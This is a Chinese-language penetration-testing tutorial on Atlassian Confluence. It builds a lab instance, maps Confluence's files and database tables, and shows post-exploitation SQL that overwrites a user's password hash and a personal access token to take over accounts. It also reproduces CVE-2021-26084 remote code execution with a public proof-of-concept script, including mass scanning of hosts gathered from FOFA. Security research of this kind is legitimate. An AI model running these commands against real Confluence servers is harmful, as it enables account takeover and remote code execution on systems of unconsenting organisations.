Confluence利用指南

0x00 前言

Confluence是一个专业的企业知识管理与协同软件,也可以用于构建企业wiki。

前不久爆出了漏洞CVE-2021-26084 - Confluence Server Webwork OGNL injection,本文仅在技术研究的角度介绍Confluence的相关知识。

0x01 confluence环境搭建

环境搭建的参考资料:

Windows:

https://confluence.atlassian.com/doc/installing-confluence-on-windows-255362047.html

Linux:

https://confluence.atlassian.com/doc/installing-confluence-on-linux-143556824.html

本文以Centos7搭建Confluence为例进行介绍。

1.配置数据库

这里选择PostgreSQL,安装的参考资料:

https://confluence.atlassian.com/doc/database-setup-for-postgresql-173244522.html

(1)安装PostgreSQL

访问地址:https://www.postgresql.org/download/linux/redhat/

获得安装命令,如下图

复制一下安装命令

1
2
3
4
5
sudo yum install -y https://download.postgresql.org/pub/repos/yum/reporpms/EL-7-x86_64/pgdg-redhat-repo-latest.noarch.rpm
sudo yum install -y postgresql13-server
sudo /usr/pgsql-13/bin/postgresql-13-setup initdb
sudo systemctl enable postgresql-13
sudo systemctl start postgresql-13

安装完成后查看运行状态:

1
systemctl status postgresql-13

(2)配置PostgreSQL

设置允许其他程序访问数据库:

修改/var/lib/pgsql/13/data/pg_hba.conf,把METHOD改为trust,设置如下图

image-20211116202917914

重启PostgreSQL:

1
systemctl restart postgresql-13

补充:配置允许其他IP访问数据库

修改/var/lib/pgsql/13/data/pg_hba.conf,将ADDRESS改为0.0.0.0/0,如下图

image-20211116203014880

修改/var/lib/pgsql/13/data/postgresql.conf

设置listen_addresses = '*',如下图

image-20211116203121043

重启PostgreSQL:

1
systemctl restart postgresql-13

(3)数据库操作

PostgreSQL安装完成后会在本地操作系统创建一个名为postgres的用户,默认没有口令

切换到用户postgres:

1
su postgres

进入postgreSQL

1
bash-4.2$ psql

设置用户postgres的密码:

1
postgres=# \password postgres

image-20211116203457978

查看创建用户的命令说明:

1
postgres=# \h create user

image-20211116203636733

创建用户confluence:

1
2
3
4
5
postgres=# create user confluence with password 'confluence' createdb login;

参数说明:
createdb: 具有创建数据库的权限
login: 具有登录权限

创建数据库confluence:

1
2
3
4
postgres=# create database confluence with owner=confluence encoding='UTF8';

参数说明:
encoding: 指定encoding必须为utf8

测试用户登录:

1
[root@wiki ~]# psql -h localhost -p 5432 -d confluence -U confluence

image-20211116204228723

2.安装Confluence

下载地址:https://www.atlassian.com/software/confluence/download-archives

选择一个版本7.11.3

下载时选择7.11.3 - Linux Installer (64 bit),如下图

image-20211116204441501

image-20211116204356983

执行安装命令

1
2
3
4
[root@wiki ~]# ls
atlassian-confluence-7.11.3-x64.bin check.py
[root@wiki ~]# chmod +x atlassian-confluence-7.11.3-x64.bin
[root@wiki ~]# ./atlassian-confluence-7.11.3-x64.bin

image-20211116205448654

在安装过程中,按下图操作

image-20211116210307690

安装结束后,使用浏览器访问http://IP:8090

image-20211116211413169

在设置Confluence页面,需要填入license,可以通过访问https://my.atlassian.com/license/evaluation获得,如下图

image-20211116211452423

image-20211116211528778

填入license

image-20211116211622138

next

image-20211116211647952

配置数据库信息,测试连接

image-20211116211808981

接下来,依次设置content、manage users和administrator account页面(每个页面随便选一个就行)

image-20211116212409673

image-20211116212510922

image-20211116212617346

最后的成功页面如下图

image-20211116212852286

访问登录页面:http://IP:8090/welcome.action,如下图

image-20211116212954728

3.创建Confluence普通用户

使用管理员帐户登录后,选择用户管理进行用户配置,如下图

image-20211116213315707

添加用户test1,配置如下图

image-20211116213432321

注意:管理员账号对应以下两个组:

1
2
confluence-administrators
confluence-users

添加用户后,可访问http://localhost:8090/进行登录。

0x02 基础知识

1.文件目录

参考资料:

https://www.cwiki.us/display/CONF6ZH/Confluence+Home+and+other+important+directories

(1)<confluence-installation>

安装目录,用于存储系统文件

默认安装位置:

1
2
Windows: C:/Program Files/Atlassian/Confluence/
Linux: /opt/atlassian/confluence/

(2)<confluence-home>

数据目录,用于存储数据

默认安装位置:

1
2
Windows: C:/Program Files/Atlassian/Application Data/Confluence/
Linux: /var/atlassian/application-data/confluence/

(3)二者之间的联系

<confluence-installation>/confluence/WEB-INF/classes/confluence-init.properties文件中定义了<confluence-home>的位置

2.数据库信息

存储数据库配置信息的位置: <confluence-home>/confluence.cfg.xml

3.用户信息

用户信息位于Confluence的数据库中

存储用户信息的表:CWD_USER,具体列名称如下:

1
2
3
4
5
user_name:用户名
active:是否启用
email_address:邮件地址
credential:用户凭据
directory_id:用户组,代表用户的权限

directory_id对应的具体用户组名称可通过以下方式查看:

  • 查询表cwd_group中的group_name列,管理员用户组的值为confluence-administrators
  • 查询表cwd_directory中的directory_name列,管理员用户组的值为Confluence Internal Directory

直接筛选出管理员用户的SQL命令:

1
confluence=> select u.id,u.user_name,u.active,u.credential from cwd_user u  join cwd_membership m on u.id=m.child_user_id join cwd_group g on m.parent_id=g.id join cwd_directory d on d.id=g.directory_id where g.group_name = 'confluence-administrators' and d.directory_name='Confluence Internal Directory';

image-20211116215013197

4.日志文件位置

1
<confluence-home>/logs/

5.Web路径

1
<confluence-installation>/confluence/

Windows: Confluence默认权限为network service,具有写权限

Linux: Confluence默认权限为confluence,没有写权限

0x03 利用思路

1.修改数据库,实现用户登录

(1)修改用户登录口令

查看用户关键信息,命令如下:

1
confluence=> select id,user_name,credential from cwd_user;

image-20211116215413204

修改用户test1的口令信息,命令如下:

1
confluence=> UPDATE cwd_user SET credential= '{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm' WHERE id = 458754;

确认数据库被修改,如下图

image-20211116215611858

注:

{PKCS5S2}UokaJs5wj02LBUJABpGmkxvCX0q+IbTdaUfxy1M9tVOeI38j95MRrVxWjNCu6gsm对应的明文为123456

(2)修改Personal Access Tokens

使用Personal Access Tokens可以实现免密登录

介绍资料:

1
2
3
4
5
https://confluence.atlassian.com/bitbucketserver0610/personal-access-tokens-989761177.html 

https://developer.atlassian.com/server/confluence/confluence-server-rest-api/

https://docs.atlassian.com/ConfluenceServer/rest/7.11.6/

测试环境下,Personal Access Tokens对应表为AO_81F455_PERSONAL_TOKEN

查询语句:

1
confluence=> select * from "AO_81F455_PERSONAL_TOKEN";

修改Personal Access Tokens,命令如下:

1
confluence=> UPDATE "AO_81F455_PERSONAL_TOKEN" SET "HASHED_TOKEN"= '{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/' WHERE "ID" = 4;

注:

1
{PKCS5S2}Deoq/psifhVO0VE8qhJ6prfgOltOdJkeRH4cIxac9NtoXVodRQJciR95GW37gR7/`对应的token为`MjE0NTg4NjQ3MTk2OrQ5JtSJgT/rrRBmCY4zu+N+NaWZ

2.写文件

Web路径:<confluence-installation>/confluence/

Windows: Confluence默认权限为network service,具有写权限

Linux: Confluence默认权限为confluence,没有写权限,但可以尝试内存马

0x04 CVE-2021-26084

1.受影响版本

1
2
3
4
5
Confluence < 6.13.23
6.14.0 ≤ Confluence < 7.4.11
7.5.0 ≤ Confluence < 7.11.6
7.12.0 ≤ Confluence < 7.12.5
Confluence < 7.13.0

2.不受影响的版本

1
2
3
4
5
Confluence=6.13.23
Confluence=7.4.11
Confluence=7.11.6
Confluence=7.12.5
Confluence=7.13.0

3.漏洞poc

1
2
3
4
5
1、https://github.com/FanqXu/CVE-2021-26084

2、https://github.com/h3v0x/CVE-2021-26084_Confluence/

3、https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md

4.漏洞复现

执行FanqXu/CVE-2021-26084的poc进行验证

1
python3 Poc.py -u http://10.108.3.65:8090/

image-20211116221215478

执行命令whoami

1
python3 Poc.py -u http://10.108.3.65:8090/ -e whoami

image-20211116221906318

5.fofa批量

关键字搜索app="ATLASSIAN-Confluence"

使用fofa工具导出结果存到urls.txt,再使用FanqXu/CVE-2021-26084的poc进行批量验证即可。

使用的命令如下:

1
python PoC.py -f urls.txt